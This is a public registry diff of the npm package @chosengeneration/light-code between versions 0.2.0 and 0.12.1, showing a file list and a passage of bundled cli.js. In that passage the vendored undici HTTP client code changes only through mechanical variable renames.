@chosengeneration/light-code 0.2.0 → 0.12.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (32) hide show
  1. package/dist/cli.js +2333 -626
  2. package/dist/client/client.js +50 -47
  3. package/dist/client/guide/appearance-dark.svg +1 -0
  4. package/dist/client/guide/appearance-light.svg +1 -0
  5. package/dist/client/guide/approvals-dark.svg +1 -0
  6. package/dist/client/guide/approvals-light.svg +1 -0
  7. package/dist/client/guide/chat-dark.svg +1 -0
  8. package/dist/client/guide/chat-light.svg +1 -0
  9. package/dist/client/guide/expert-dark.svg +1 -0
  10. package/dist/client/guide/expert-light.svg +1 -0
  11. package/dist/client/guide/mcp-dark.svg +1 -0
  12. package/dist/client/guide/mcp-light.svg +1 -0
  13. package/dist/client/guide/network-dark.svg +1 -0
  14. package/dist/client/guide/network-light.svg +1 -0
  15. package/dist/client/guide/orientation-dark.svg +1 -0
  16. package/dist/client/guide/orientation-light.svg +1 -0
  17. package/dist/client/guide/privacy-dark.svg +1 -0
  18. package/dist/client/guide/privacy-light.svg +1 -0
  19. package/dist/client/guide/providers-dark.svg +1 -0
  20. package/dist/client/guide/providers-light.svg +1 -0
  21. package/dist/client/guide/python-dark.svg +1 -0
  22. package/dist/client/guide/python-light.svg +1 -0
  23. package/dist/client/guide/schedules-dark.svg +1 -0
  24. package/dist/client/guide/schedules-light.svg +1 -0
  25. package/dist/client/guide/search-dark.svg +1 -0
  26. package/dist/client/guide/search-light.svg +1 -0
  27. package/dist/client/guide/skills-dark.svg +1 -0
  28. package/dist/client/guide/skills-light.svg +1 -0
  29. package/dist/client/guide/tools-dark.svg +1 -0
  30. package/dist/client/guide/tools-light.svg +1 -0
  31. package/dist/server.js +1799 -499
  32. package/package.json +65 -63
package/dist/cli.js CHANGED
@@ -1041,7 +1041,7 @@ var require_util = __commonJS({
1041
1041
  var { kDestroyed, kBodyUsed, kListeners, kBody } = require_symbols();
1042
1042
  var { IncomingMessage } = __require("node:http");
1043
1043
  var stream = __require("node:stream");
1044
- var net = __require("node:net");
1044
+ var net2 = __require("node:net");
1045
1045
  var { stringify } = __require("node:querystring");
1046
1046
  var { EventEmitter: EE, addAbortListener: addAbortListenerNative } = __require("node:events");
1047
1047
  var timers = require_timers();
@@ -1143,14 +1143,14 @@ var require_util = __commonJS({
1143
1143
  }
1144
1144
  const port = url2.port != null ? url2.port : url2.protocol === "https:" ? 443 : 80;
1145
1145
  let origin = url2.origin != null ? url2.origin : `${url2.protocol || ""}//${url2.hostname || ""}:${port}`;
1146
- let path26 = url2.path != null ? url2.path : `${url2.pathname || ""}${url2.search || ""}`;
1146
+ let path29 = url2.path != null ? url2.path : `${url2.pathname || ""}${url2.search || ""}`;
1147
1147
  if (origin[origin.length - 1] === "/") {
1148
1148
  origin = origin.slice(0, origin.length - 1);
1149
1149
  }
1150
- if (path26 && path26[0] !== "/") {
1151
- path26 = `/${path26}`;
1150
+ if (path29 && path29[0] !== "/") {
1151
+ path29 = `/${path29}`;
1152
1152
  }
1153
- return new URL(`${origin}${path26}`);
1153
+ return new URL(`${origin}${path29}`);
1154
1154
  }
1155
1155
  if (!isHttpOrHttpsPrefixed(url2.origin || url2.protocol)) {
1156
1156
  throw new InvalidArgumentError("Invalid URL protocol: the URL must start with `http:` or `https:`.");
@@ -1180,7 +1180,7 @@ var require_util = __commonJS({
1180
1180
  }
1181
1181
  assert2(typeof host === "string");
1182
1182
  const servername = getHostname(host);
1183
- if (net.isIP(servername)) {
1183
+ if (net2.isIP(servername)) {
1184
1184
  return "";
1185
1185
  }
1186
1186
  return servername;
@@ -2021,9 +2021,9 @@ var require_diagnostics = __commonJS({
2021
2021
  "undici:client:sendHeaders",
2022
2022
  (evt) => {
2023
2023
  const {
2024
- request: { method, path: path26, origin }
2024
+ request: { method, path: path29, origin }
2025
2025
  } = evt;
2026
- debugLog("sending request to %s %s%s", method, origin, path26);
2026
+ debugLog("sending request to %s %s%s", method, origin, path29);
2027
2027
  }
2028
2028
  );
2029
2029
  }
@@ -2041,14 +2041,14 @@ var require_diagnostics = __commonJS({
2041
2041
  "undici:request:headers",
2042
2042
  (evt) => {
2043
2043
  const {
2044
- request: { method, path: path26, origin },
2044
+ request: { method, path: path29, origin },
2045
2045
  response: { statusCode }
2046
2046
  } = evt;
2047
2047
  debugLog(
2048
2048
  "received response to %s %s%s - HTTP %d",
2049
2049
  method,
2050
2050
  origin,
2051
- path26,
2051
+ path29,
2052
2052
  statusCode
2053
2053
  );
2054
2054
  }
@@ -2057,23 +2057,23 @@ var require_diagnostics = __commonJS({
2057
2057
  "undici:request:trailers",
2058
2058
  (evt) => {
2059
2059
  const {
2060
- request: { method, path: path26, origin }
2060
+ request: { method, path: path29, origin }
2061
2061
  } = evt;
2062
- debugLog("trailers received from %s %s%s", method, origin, path26);
2062
+ debugLog("trailers received from %s %s%s", method, origin, path29);
2063
2063
  }
2064
2064
  );
2065
2065
  diagnosticsChannel.subscribe(
2066
2066
  "undici:request:error",
2067
2067
  (evt) => {
2068
2068
  const {
2069
- request: { method, path: path26, origin },
2069
+ request: { method, path: path29, origin },
2070
2070
  error: error51
2071
2071
  } = evt;
2072
2072
  debugLog(
2073
2073
  "request to %s %s%s errored - %s",
2074
2074
  method,
2075
2075
  origin,
2076
- path26,
2076
+ path29,
2077
2077
  error51.message
2078
2078
  );
2079
2079
  }
@@ -2228,7 +2228,7 @@ var require_request = __commonJS({
2228
2228
  };
2229
2229
  var Request = class {
2230
2230
  constructor(origin, {
2231
- path: path26,
2231
+ path: path29,
2232
2232
  method,
2233
2233
  body,
2234
2234
  headers,
@@ -2245,11 +2245,11 @@ var require_request = __commonJS({
2245
2245
  maxRedirections,
2246
2246
  typeOfService
2247
2247
  }, handler) {
2248
- if (typeof path26 !== "string") {
2248
+ if (typeof path29 !== "string") {
2249
2249
  throw new InvalidArgumentError("path must be a string");
2250
- } else if (path26[0] !== "/" && !(path26.startsWith("http://") || path26.startsWith("https://")) && method !== "CONNECT") {
2250
+ } else if (path29[0] !== "/" && !(path29.startsWith("http://") || path29.startsWith("https://")) && method !== "CONNECT") {
2251
2251
  throw new InvalidArgumentError("path must be an absolute URL or start with a slash");
2252
- } else if (invalidPathRegex.test(path26)) {
2252
+ } else if (invalidPathRegex.test(path29)) {
2253
2253
  throw new InvalidArgumentError("invalid request path");
2254
2254
  }
2255
2255
  if (typeof method !== "string") {
@@ -2324,7 +2324,7 @@ var require_request = __commonJS({
2324
2324
  this.completed = false;
2325
2325
  this.aborted = false;
2326
2326
  this.upgrade = upgrade || null;
2327
- this.path = query ? serializePathWithQuery(path26, query) : path26;
2327
+ this.path = query ? serializePathWithQuery(path29, query) : path29;
2328
2328
  this.origin = origin;
2329
2329
  this.protocol = getProtocolFromUrlString(origin);
2330
2330
  this.idempotent = idempotent == null ? method === "HEAD" || method === "GET" || method === "QUERY" : idempotent;
@@ -2782,7 +2782,7 @@ var require_dispatcher_base = __commonJS({
2782
2782
  var require_connect = __commonJS({
2783
2783
  "../../node_modules/.pnpm/undici@8.10.0/node_modules/undici/lib/core/connect.js"(exports, module) {
2784
2784
  "use strict";
2785
- var net = __require("node:net");
2785
+ var net2 = __require("node:net");
2786
2786
  var assert2 = __require("node:assert");
2787
2787
  var util = require_util();
2788
2788
  var { InvalidArgumentError, ConnectTimeoutError } = require_errors();
@@ -2873,7 +2873,7 @@ var require_connect = __commonJS({
2873
2873
  port,
2874
2874
  host: hostname3
2875
2875
  };
2876
- const family = net.isIP(hostname3);
2876
+ const family = net2.isIP(hostname3);
2877
2877
  if (family !== 0 && servername && servername !== hostname3) {
2878
2878
  connectOptions.host = servername;
2879
2879
  connectOptions.lookup = (_hostname, lookupOptions, cb) => {
@@ -2884,7 +2884,7 @@ var require_connect = __commonJS({
2884
2884
  }
2885
2885
  };
2886
2886
  }
2887
- socket = net.connect(connectOptions);
2887
+ socket = net2.connect(connectOptions);
2888
2888
  if (useH2c === true) {
2889
2889
  socket.alpnProtocol = "h2";
2890
2890
  }
@@ -7410,7 +7410,7 @@ var require_client_h1 = __commonJS({
7410
7410
  }
7411
7411
  }
7412
7412
  function writeH1(client, request) {
7413
- const { method, path: path26, host, upgrade, blocking, reset } = request;
7413
+ const { method, path: path29, host, upgrade, blocking, reset } = request;
7414
7414
  let { body, headers, contentLength } = request;
7415
7415
  const expectsPayload = method === "PUT" || method === "POST" || method === "PATCH" || method === "QUERY" || method === "PROPFIND" || method === "PROPPATCH";
7416
7416
  if (util.isFormDataLike(body)) {
@@ -7486,7 +7486,7 @@ var require_client_h1 = __commonJS({
7486
7486
  socket[kBlocking] = true;
7487
7487
  }
7488
7488
  setTypeOfService(socket, request);
7489
- let header = `${method} ${path26} HTTP/1.1\r
7489
+ let header = `${method} ${path29} HTTP/1.1\r
7490
7490
  `;
7491
7491
  if (typeof host === "string") {
7492
7492
  header += `host: ${host}\r
@@ -8567,7 +8567,7 @@ var require_client_h2 = __commonJS({
8567
8567
  const headersTimeout = request.headersTimeout ?? client[kHeadersTimeout];
8568
8568
  const bodyTimeout = request.bodyTimeout ?? client[kBodyTimeout];
8569
8569
  const session = client[kHTTP2Session];
8570
- const { method, path: path26, host, upgrade, expectContinue, signal, protocol, headers: reqHeaders } = request;
8570
+ const { method, path: path29, host, upgrade, expectContinue, signal, protocol, headers: reqHeaders } = request;
8571
8571
  if (upgrade != null && upgrade !== "websocket") {
8572
8572
  util.errorRequest(client, request, new InvalidArgumentError(`Custom upgrade "${upgrade}" not supported over HTTP/2`));
8573
8573
  return false;
@@ -8630,7 +8630,7 @@ var require_client_h2 = __commonJS({
8630
8630
  }
8631
8631
  headers[HTTP2_HEADER_METHOD] = "CONNECT";
8632
8632
  headers[HTTP2_HEADER_PROTOCOL] = "websocket";
8633
- headers[HTTP2_HEADER_PATH] = path26;
8633
+ headers[HTTP2_HEADER_PATH] = path29;
8634
8634
  if (protocol === "ws:" || protocol === "wss:") {
8635
8635
  headers[HTTP2_HEADER_SCHEME] = protocol === "ws:" ? "http" : "https";
8636
8636
  } else {
@@ -8652,7 +8652,7 @@ var require_client_h2 = __commonJS({
8652
8652
  setupUpgradeStream(stream, state);
8653
8653
  return true;
8654
8654
  }
8655
- headers[HTTP2_HEADER_PATH] = path26;
8655
+ headers[HTTP2_HEADER_PATH] = path29;
8656
8656
  headers[HTTP2_HEADER_SCHEME] = protocol === "http:" ? "http" : "https";
8657
8657
  const expectsPayload = method === "PUT" || method === "POST" || method === "PATCH" || method === "QUERY" || method === "PROPFIND" || method === "PROPPATCH";
8658
8658
  let body = state.body;
@@ -9076,7 +9076,7 @@ var require_client = __commonJS({
9076
9076
  "../../node_modules/.pnpm/undici@8.10.0/node_modules/undici/lib/dispatcher/client.js"(exports, module) {
9077
9077
  "use strict";
9078
9078
  var assert2 = __require("node:assert");
9079
- var net = __require("node:net");
9079
+ var net2 = __require("node:net");
9080
9080
  var http = __require("node:http");
9081
9081
  var util = require_util();
9082
9082
  var { ClientStats } = require_stats();
@@ -9245,7 +9245,7 @@ var require_client = __commonJS({
9245
9245
  if (maxRequestsPerClient != null && (!Number.isInteger(maxRequestsPerClient) || maxRequestsPerClient < 0)) {
9246
9246
  throw new InvalidArgumentError("maxRequestsPerClient must be a positive number");
9247
9247
  }
9248
- if (localAddress != null && (typeof localAddress !== "string" || net.isIP(localAddress) === 0)) {
9248
+ if (localAddress != null && (typeof localAddress !== "string" || net2.isIP(localAddress) === 0)) {
9249
9249
  throw new InvalidArgumentError("localAddress must be valid string IP address");
9250
9250
  }
9251
9251
  if (maxResponseSize != null && (!Number.isInteger(maxResponseSize) || maxResponseSize < -1)) {
@@ -9463,7 +9463,7 @@ var require_client = __commonJS({
9463
9463
  const idx = hostname3.indexOf("]");
9464
9464
  assert2(idx !== -1);
9465
9465
  const ip = hostname3.substring(1, idx);
9466
- assert2(net.isIPv6(ip));
9466
+ assert2(net2.isIPv6(ip));
9467
9467
  hostname3 = ip;
9468
9468
  }
9469
9469
  client[kConnecting] = true;
@@ -10551,10 +10551,10 @@ var require_socks5_utils = __commonJS({
10551
10551
  "../../node_modules/.pnpm/undici@8.10.0/node_modules/undici/lib/core/socks5-utils.js"(exports, module) {
10552
10552
  "use strict";
10553
10553
  var { Buffer: Buffer2 } = __require("node:buffer");
10554
- var net = __require("node:net");
10554
+ var net2 = __require("node:net");
10555
10555
  var { InvalidArgumentError } = require_errors();
10556
10556
  function parseAddress(address) {
10557
- if (net.isIPv4(address)) {
10557
+ if (net2.isIPv4(address)) {
10558
10558
  const parts = address.split(".").map(Number);
10559
10559
  return {
10560
10560
  type: 1,
@@ -10562,7 +10562,7 @@ var require_socks5_utils = __commonJS({
10562
10562
  buffer: Buffer2.from(parts)
10563
10563
  };
10564
10564
  }
10565
- if (net.isIPv6(address)) {
10565
+ if (net2.isIPv6(address)) {
10566
10566
  return {
10567
10567
  type: 4,
10568
10568
  // IPv6
@@ -10585,7 +10585,7 @@ var require_socks5_utils = __commonJS({
10585
10585
  if (address.includes(".")) {
10586
10586
  const lastColonIndex = address.lastIndexOf(":");
10587
10587
  const ipv4Part = address.slice(lastColonIndex + 1);
10588
- if (net.isIPv4(ipv4Part)) {
10588
+ if (net2.isIPv4(ipv4Part)) {
10589
10589
  const octets = ipv4Part.split(".").map(Number);
10590
10590
  const high = (octets[0] << 8 | octets[1]).toString(16);
10591
10591
  const low = (octets[2] << 8 | octets[3]).toString(16);
@@ -11322,10 +11322,10 @@ var require_proxy_agent = __commonJS({
11322
11322
  };
11323
11323
  const {
11324
11324
  origin,
11325
- path: path26 = "/",
11325
+ path: path29 = "/",
11326
11326
  headers = {}
11327
11327
  } = opts;
11328
- opts.path = origin + path26;
11328
+ opts.path = origin + path29;
11329
11329
  if (!("host" in headers) && !("Host" in headers)) {
11330
11330
  const { host } = new URL(origin);
11331
11331
  headers.host = host;
@@ -13590,20 +13590,20 @@ var require_mock_utils = __commonJS({
13590
13590
  }
13591
13591
  return normalizedQp;
13592
13592
  }
13593
- function safeUrl(path26) {
13594
- if (typeof path26 !== "string") {
13595
- return path26;
13593
+ function safeUrl(path29) {
13594
+ if (typeof path29 !== "string") {
13595
+ return path29;
13596
13596
  }
13597
- const pathSegments = path26.split("?", 3);
13597
+ const pathSegments = path29.split("?", 3);
13598
13598
  if (pathSegments.length !== 2) {
13599
- return path26;
13599
+ return path29;
13600
13600
  }
13601
13601
  const qp = new URLSearchParams(pathSegments.pop());
13602
13602
  qp.sort();
13603
13603
  return [...pathSegments, qp.toString()].join("?");
13604
13604
  }
13605
- function matchKey(mockDispatch2, { path: path26, method, body, headers }) {
13606
- const pathMatch = matchValue(mockDispatch2.path, path26);
13605
+ function matchKey(mockDispatch2, { path: path29, method, body, headers }) {
13606
+ const pathMatch = matchValue(mockDispatch2.path, path29);
13607
13607
  const methodMatch = matchValue(mockDispatch2.method, method);
13608
13608
  const bodyMatch = typeof mockDispatch2.body !== "undefined" ? matchValue(mockDispatch2.body, body) : true;
13609
13609
  const headersMatch = matchHeaders(mockDispatch2, headers);
@@ -13630,8 +13630,8 @@ var require_mock_utils = __commonJS({
13630
13630
  const basePath = key.query ? serializePathWithQuery(key.path, key.query) : key.path;
13631
13631
  const resolvedPath = typeof basePath === "string" ? safeUrl(basePath) : basePath;
13632
13632
  const resolvedPathWithoutTrailingSlash = removeTrailingSlash(resolvedPath);
13633
- let matchedMockDispatches = mockDispatches.filter(({ consumed }) => !consumed).filter(({ path: path26, ignoreTrailingSlash }) => {
13634
- return ignoreTrailingSlash ? matchValue(removeTrailingSlash(safeUrl(path26)), resolvedPathWithoutTrailingSlash) : matchValue(safeUrl(path26), resolvedPath);
13633
+ let matchedMockDispatches = mockDispatches.filter(({ consumed }) => !consumed).filter(({ path: path29, ignoreTrailingSlash }) => {
13634
+ return ignoreTrailingSlash ? matchValue(removeTrailingSlash(safeUrl(path29)), resolvedPathWithoutTrailingSlash) : matchValue(safeUrl(path29), resolvedPath);
13635
13635
  });
13636
13636
  if (matchedMockDispatches.length === 0) {
13637
13637
  throw new MockNotMatchedError(`Mock dispatch not matched for path '${resolvedPath}'`);
@@ -13670,22 +13670,22 @@ var require_mock_utils = __commonJS({
13670
13670
  mockDispatches.splice(index, 1);
13671
13671
  }
13672
13672
  }
13673
- function removeTrailingSlash(path26) {
13674
- if (typeof path26 !== "string") {
13675
- return path26;
13673
+ function removeTrailingSlash(path29) {
13674
+ if (typeof path29 !== "string") {
13675
+ return path29;
13676
13676
  }
13677
- while (path26.endsWith("/")) {
13678
- path26 = path26.slice(0, -1);
13677
+ while (path29.endsWith("/")) {
13678
+ path29 = path29.slice(0, -1);
13679
13679
  }
13680
- if (path26.length === 0) {
13681
- path26 = "/";
13680
+ if (path29.length === 0) {
13681
+ path29 = "/";
13682
13682
  }
13683
- return path26;
13683
+ return path29;
13684
13684
  }
13685
13685
  function buildKey(opts) {
13686
- const { path: path26, method, body, headers, query } = opts;
13686
+ const { path: path29, method, body, headers, query } = opts;
13687
13687
  return {
13688
- path: path26,
13688
+ path: path29,
13689
13689
  method,
13690
13690
  body,
13691
13691
  headers,
@@ -14556,10 +14556,10 @@ var require_pending_interceptors_formatter = __commonJS({
14556
14556
  }
14557
14557
  format(pendingInterceptors) {
14558
14558
  const withPrettyHeaders = pendingInterceptors.map(
14559
- ({ method, path: path26, data: { statusCode }, persist, times, timesInvoked, origin }) => ({
14559
+ ({ method, path: path29, data: { statusCode }, persist, times, timesInvoked, origin }) => ({
14560
14560
  Method: method,
14561
14561
  Origin: origin,
14562
- Path: path26,
14562
+ Path: path29,
14563
14563
  "Status code": statusCode,
14564
14564
  Persistent: persist ? PERSISTENT : NOT_PERSISTENT,
14565
14565
  Invocations: timesInvoked,
@@ -14641,9 +14641,9 @@ var require_mock_agent = __commonJS({
14641
14641
  const acceptNonStandardSearchParameters = this[kMockAgentAcceptsNonStandardSearchParameters];
14642
14642
  const dispatchOpts = { ...opts };
14643
14643
  if (acceptNonStandardSearchParameters && dispatchOpts.path) {
14644
- const [path26, searchParams] = dispatchOpts.path.split("?");
14644
+ const [path29, searchParams] = dispatchOpts.path.split("?");
14645
14645
  const normalizedSearchParams = normalizeSearchParams(searchParams, acceptNonStandardSearchParameters);
14646
- dispatchOpts.path = `${path26}?${normalizedSearchParams}`;
14646
+ dispatchOpts.path = `${path29}?${normalizedSearchParams}`;
14647
14647
  }
14648
14648
  return this[kAgent].dispatch(dispatchOpts, handler);
14649
14649
  }
@@ -14771,8 +14771,8 @@ var require_snapshot_utils = __commonJS({
14771
14771
  match: new Set(matchHeaders.map((header) => caseSensitive ? header : header.toLowerCase()))
14772
14772
  };
14773
14773
  }
14774
- var crypto6 = runtimeFeatures.has("crypto") ? __require("node:crypto") : null;
14775
- var hashId = crypto6?.hash ? (value) => crypto6.hash("sha256", value, "base64url") : (value) => Buffer.from(value).toString("base64url");
14774
+ var crypto7 = runtimeFeatures.has("crypto") ? __require("node:crypto") : null;
14775
+ var hashId = crypto7?.hash ? (value) => crypto7.hash("sha256", value, "base64url") : (value) => Buffer.from(value).toString("base64url");
14776
14776
  function isUndiciHeaders(headers) {
14777
14777
  return Array.isArray(headers) && (headers.length & 1) === 0;
14778
14778
  }
@@ -15059,12 +15059,12 @@ var require_snapshot_recorder = __commonJS({
15059
15059
  * @return {Promise<void>} - Resolves when snapshots are loaded
15060
15060
  */
15061
15061
  async loadSnapshots(filePath) {
15062
- const path26 = filePath || this.#snapshotPath;
15063
- if (!path26) {
15062
+ const path29 = filePath || this.#snapshotPath;
15063
+ if (!path29) {
15064
15064
  throw new InvalidArgumentError("Snapshot path is required");
15065
15065
  }
15066
15066
  try {
15067
- const data = await readFile2(resolve(path26), "utf8");
15067
+ const data = await readFile2(resolve(path29), "utf8");
15068
15068
  const parsed = JSON.parse(data);
15069
15069
  if (Array.isArray(parsed)) {
15070
15070
  this.#snapshots.clear();
@@ -15078,7 +15078,7 @@ var require_snapshot_recorder = __commonJS({
15078
15078
  if (error51.code === "ENOENT") {
15079
15079
  this.#snapshots.clear();
15080
15080
  } else {
15081
- throw new UndiciError(`Failed to load snapshots from ${path26}`, { cause: error51 });
15081
+ throw new UndiciError(`Failed to load snapshots from ${path29}`, { cause: error51 });
15082
15082
  }
15083
15083
  }
15084
15084
  }
@@ -15089,11 +15089,11 @@ var require_snapshot_recorder = __commonJS({
15089
15089
  * @returns {Promise<void>} - Resolves when snapshots are saved
15090
15090
  */
15091
15091
  async saveSnapshots(filePath) {
15092
- const path26 = filePath || this.#snapshotPath;
15093
- if (!path26) {
15092
+ const path29 = filePath || this.#snapshotPath;
15093
+ if (!path29) {
15094
15094
  throw new InvalidArgumentError("Snapshot path is required");
15095
15095
  }
15096
- const resolvedPath = resolve(path26);
15096
+ const resolvedPath = resolve(path29);
15097
15097
  await mkdir(dirname(resolvedPath), { recursive: true });
15098
15098
  const data = Array.from(this.#snapshots.entries()).map(([hash2, snapshot]) => ({
15099
15099
  hash: hash2,
@@ -15730,15 +15730,15 @@ var require_redirect_handler = __commonJS({
15730
15730
  return;
15731
15731
  }
15732
15732
  const { origin, pathname, search } = util.parseURL(new URL(this.location, this.opts.origin && new URL(this.opts.path, this.opts.origin)));
15733
- const path26 = search ? `${pathname}${search}` : pathname;
15734
- const redirectUrlString = `${origin}${path26}`;
15733
+ const path29 = search ? `${pathname}${search}` : pathname;
15734
+ const redirectUrlString = `${origin}${path29}`;
15735
15735
  for (const historyUrl of this.history) {
15736
15736
  if (historyUrl.toString() === redirectUrlString) {
15737
15737
  throw new InvalidArgumentError(`Redirect loop detected. Cannot redirect to ${origin}. This typically happens when using a Client or Pool with cross-origin redirects. Use an Agent for cross-origin redirects.`);
15738
15738
  }
15739
15739
  }
15740
15740
  this.opts.headers = cleanRequestHeaders(this.opts.headers, removeContentHeaders, this.opts.origin !== origin, this.stripHeadersOnRedirect, this.stripHeadersOnCrossOriginRedirect);
15741
- this.opts.path = path26;
15741
+ this.opts.path = path29;
15742
15742
  this.opts.origin = origin;
15743
15743
  this.opts.query = null;
15744
15744
  }
@@ -17566,10 +17566,10 @@ var require_cache_handler = __commonJS({
17566
17566
  }
17567
17567
  return locationUrl.pathname + locationUrl.search;
17568
17568
  }
17569
- function deleteCachedUri(store, cacheKey, path26) {
17569
+ function deleteCachedUri(store, cacheKey, path29) {
17570
17570
  deleteCachedValue(store, {
17571
17571
  ...cacheKey,
17572
- path: path26
17572
+ path: path29
17573
17573
  });
17574
17574
  for (let i = 0; i < util.safeHTTPMethods.length; i++) {
17575
17575
  const method = util.safeHTTPMethods[i];
@@ -17577,7 +17577,7 @@ var require_cache_handler = __commonJS({
17577
17577
  deleteCachedValue(store, {
17578
17578
  ...cacheKey,
17579
17579
  method,
17580
- path: path26
17580
+ path: path29
17581
17581
  });
17582
17582
  }
17583
17583
  }
@@ -17588,9 +17588,9 @@ var require_cache_handler = __commonJS({
17588
17588
  }
17589
17589
  const values = Array.isArray(headerValue) ? headerValue : [headerValue];
17590
17590
  for (let i = 0; i < values.length; i++) {
17591
- const path26 = getSameOriginPath(cacheKey, values[i]);
17592
- if (path26 !== void 0) {
17593
- deleteCachedUri(store, cacheKey, path26);
17591
+ const path29 = getSameOriginPath(cacheKey, values[i]);
17592
+ if (path29 !== void 0) {
17593
+ deleteCachedUri(store, cacheKey, path29);
17594
17594
  }
17595
17595
  }
17596
17596
  }
@@ -21463,10 +21463,10 @@ var require_subresource_integrity = __commonJS({
21463
21463
  var assert2 = __require("node:assert");
21464
21464
  var { runtimeFeatures } = require_runtime_features();
21465
21465
  var validSRIHashAlgorithmTokenSet = /* @__PURE__ */ new Map([["sha256", 0], ["sha384", 1], ["sha512", 2]]);
21466
- var crypto6;
21466
+ var crypto7;
21467
21467
  if (runtimeFeatures.has("crypto")) {
21468
- crypto6 = __require("node:crypto");
21469
- const cryptoHashes = crypto6.getHashes();
21468
+ crypto7 = __require("node:crypto");
21469
+ const cryptoHashes = crypto7.getHashes();
21470
21470
  if (cryptoHashes.length === 0) {
21471
21471
  validSRIHashAlgorithmTokenSet.clear();
21472
21472
  }
@@ -21556,7 +21556,7 @@ var require_subresource_integrity = __commonJS({
21556
21556
  return result;
21557
21557
  }
21558
21558
  var applyAlgorithmToBytes = (algorithm, bytes) => {
21559
- return crypto6.hash(algorithm, bytes, "base64");
21559
+ return crypto7.hash(algorithm, bytes, "base64");
21560
21560
  };
21561
21561
  function caseSensitiveMatch(actualValue, expectedValue) {
21562
21562
  let actualValueLength = actualValue.length;
@@ -22587,13 +22587,13 @@ var require_fetch = __commonJS({
22587
22587
  function dispatch({ body }) {
22588
22588
  const url2 = requestCurrentURL(request);
22589
22589
  const agent = fetchParams.controller.dispatcher;
22590
- const path26 = url2.pathname + url2.search;
22590
+ const path29 = url2.pathname + url2.search;
22591
22591
  const hasTrailingQuestionMark = url2.search.length === 0 && url2.href[url2.href.length - url2.hash.length - 1] === "?";
22592
22592
  return dispatchWithProtocolPreference(body);
22593
22593
  function dispatchWithProtocolPreference(body2, allowH2) {
22594
22594
  return new Promise((resolve, reject2) => agent.dispatch(
22595
22595
  {
22596
- path: hasTrailingQuestionMark ? `${path26}?` : path26,
22596
+ path: hasTrailingQuestionMark ? `${path29}?` : path29,
22597
22597
  origin: url2.origin,
22598
22598
  method: request.method,
22599
22599
  body: agent.isMockActive ? request.body && (request.body.source || request.body.stream) : body2,
@@ -23505,9 +23505,9 @@ var require_util4 = __commonJS({
23505
23505
  }
23506
23506
  }
23507
23507
  }
23508
- function validateCookiePath(path26) {
23509
- for (let i = 0; i < path26.length; ++i) {
23510
- const code = path26.charCodeAt(i);
23508
+ function validateCookiePath(path29) {
23509
+ for (let i = 0; i < path29.length; ++i) {
23510
+ const code = path29.charCodeAt(i);
23511
23511
  if (code < 32 || // exclude CTLs (0-31)
23512
23512
  code > 126 || // exclude non-ascii and DEL
23513
23513
  code === 59) {
@@ -24539,7 +24539,7 @@ var require_connection = __commonJS({
24539
24539
  var { WebsocketFrameSend } = require_frame();
24540
24540
  var assert2 = __require("node:assert");
24541
24541
  var { runtimeFeatures } = require_runtime_features();
24542
- var crypto6 = runtimeFeatures.has("crypto") ? __require("node:crypto") : null;
24542
+ var crypto7 = runtimeFeatures.has("crypto") ? __require("node:crypto") : null;
24543
24543
  var warningEmitted = false;
24544
24544
  function establishWebSocketConnection(url2, protocols, client, handler, options) {
24545
24545
  const requestURL = url2;
@@ -24559,7 +24559,7 @@ var require_connection = __commonJS({
24559
24559
  const headersList = getHeadersList(new Headers2(options.headers));
24560
24560
  request.headersList = headersList;
24561
24561
  }
24562
- const keyValue = crypto6.randomBytes(16).toString("base64");
24562
+ const keyValue = crypto7.randomBytes(16).toString("base64");
24563
24563
  request.headersList.append("sec-websocket-key", keyValue, true);
24564
24564
  request.headersList.append("sec-websocket-version", "13", true);
24565
24565
  for (const protocol of protocols) {
@@ -24599,7 +24599,7 @@ var require_connection = __commonJS({
24599
24599
  return;
24600
24600
  }
24601
24601
  const secWSAccept = response.headersList.get("Sec-WebSocket-Accept");
24602
- const digest = crypto6.hash("sha1", keyValue + uid, "base64");
24602
+ const digest = crypto7.hash("sha1", keyValue + uid, "base64");
24603
24603
  if (secWSAccept !== digest) {
24604
24604
  failWebsocketConnection(handler, 1002, "Incorrect hash received in Sec-WebSocket-Accept header.");
24605
24605
  return;
@@ -26879,11 +26879,11 @@ var require_undici = __commonJS({
26879
26879
  if (typeof opts.path !== "string") {
26880
26880
  throw new InvalidArgumentError("invalid opts.path");
26881
26881
  }
26882
- let path26 = opts.path;
26882
+ let path29 = opts.path;
26883
26883
  if (!opts.path.startsWith("/")) {
26884
- path26 = `/${path26}`;
26884
+ path29 = `/${path29}`;
26885
26885
  }
26886
- url2 = new URL(util.parseOrigin(url2).origin + path26);
26886
+ url2 = new URL(util.parseOrigin(url2).origin + path29);
26887
26887
  } else {
26888
26888
  if (!opts) {
26889
26889
  opts = typeof url2 === "object" ? url2 : {};
@@ -30188,8 +30188,8 @@ var require_utils2 = __commonJS({
30188
30188
  }
30189
30189
  return ind;
30190
30190
  }
30191
- function removeDotSegments(path26) {
30192
- let input = path26;
30191
+ function removeDotSegments(path29) {
30192
+ let input = path29;
30193
30193
  const output = [];
30194
30194
  let nextSlash = -1;
30195
30195
  let len = 0;
@@ -30441,8 +30441,8 @@ var require_schemes = __commonJS({
30441
30441
  wsComponent.secure = void 0;
30442
30442
  }
30443
30443
  if (wsComponent.resourceName) {
30444
- const [path26, query] = wsComponent.resourceName.split("?");
30445
- wsComponent.path = path26 && path26 !== "/" ? path26 : void 0;
30444
+ const [path29, query] = wsComponent.resourceName.split("?");
30445
+ wsComponent.path = path29 && path29 !== "/" ? path29 : void 0;
30446
30446
  wsComponent.query = query;
30447
30447
  wsComponent.resourceName = void 0;
30448
30448
  }
@@ -33841,12 +33841,12 @@ var require_dist = __commonJS({
33841
33841
  throw new Error(`Unknown format "${name}"`);
33842
33842
  return f;
33843
33843
  };
33844
- function addFormats(ajv, list, fs20, exportName) {
33844
+ function addFormats(ajv, list, fs24, exportName) {
33845
33845
  var _a3;
33846
33846
  var _b;
33847
33847
  (_a3 = (_b = ajv.opts.code).formats) !== null && _a3 !== void 0 ? _a3 : _b.formats = (0, codegen_1._)`require("ajv-formats/dist/formats").${exportName}`;
33848
33848
  for (const f of list)
33849
- ajv.addFormat(f, fs20[f]);
33849
+ ajv.addFormat(f, fs24[f]);
33850
33850
  }
33851
33851
  module.exports = exports = formatsPlugin;
33852
33852
  Object.defineProperty(exports, "__esModule", { value: true });
@@ -33859,8 +33859,8 @@ var require_windows = __commonJS({
33859
33859
